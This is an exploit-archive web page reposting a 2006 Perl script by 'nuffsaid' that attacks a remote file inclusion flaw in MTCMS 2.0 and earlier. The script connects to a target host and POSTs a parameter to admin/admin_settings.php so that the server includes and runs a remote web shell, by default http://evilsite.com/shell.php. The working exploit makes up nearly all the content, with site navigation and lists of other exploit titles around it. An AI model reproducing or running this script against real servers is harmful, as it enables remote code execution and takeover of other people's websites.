首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
来源:nuffsaid[at]newbslove.us 作者:nuffsaid 发布时间:2006-12-26  

#!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# +-------------------------------------------------------------------------------------------
# + Affected Software .: MTCMS <= 2.0
# + Vendor ............: http://www.mtcms.co.uk/
# + Download ..........: http://mtcms.co.uk/downloads/index.php?file=MTCMS-V2.rar
# + Description .......: "MTCMS is a PHP/MySQL, Content Management System (CMS)."
# + Class .............: Remote File Inclusion
# + Risk ..............: High (Remote File Execution)
# + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
# + Requirements.......: register_globals = on
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$remotefile = "http://evilsite.com/shell.php";

main();

sub usage
{
print "\nMTCMS <= 2.0 Remote File Include Exploit\n";
print "nuffsaid <nuffsaid[at]newbslove.us>\n";
print "-h, --host\ttarget host\t(example.com)\n";
print "-f, --file\tremote file\t(http://evilsite.com/shell.php)\n";
print "-d, --dir\tinstall dir\t(/mtcms)\n";
exit;
}

sub main
{
GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
usage() unless $host;
$remotefile = $file unless !$file;
$url = uri_escape($remotefile);

$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "\nconnect() failed.\n";

print "\nconnected to ".$host.", sending data.\n";
$sendurl = "inst=true&ins_file=".$url."";
$sendlen = length($sendurl);
print $sock "POST ".$dir."/admin/admin_settings.php?b=addons&c=easy_add HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Connection: close\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$sendlen."\n\n";
print $sock $sendurl;
print "attempted to include remote file, server response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}
exit;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Pagetool CMS <= 1.07 (pt_up
·Ciberia Content Federator 1.0
·Ultimate PHP Board <= 2.0b1
·Fishyshoop <= 0.930b Remote
·Newsletter MX <= 1.0.2 (ID)
·Rediff Bol Downloader (ActiveX
·File Upload Manager <= 1.0.
·Formbankserver 1.9 (Name) Dire
·Enthrallweb ePages (actualpic.
·Apple Quicktime (rtsp URL Hand
·IXM Easy Personal FTP Server 5
·QK SMTP <= 3.01 (RCPT TO) R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved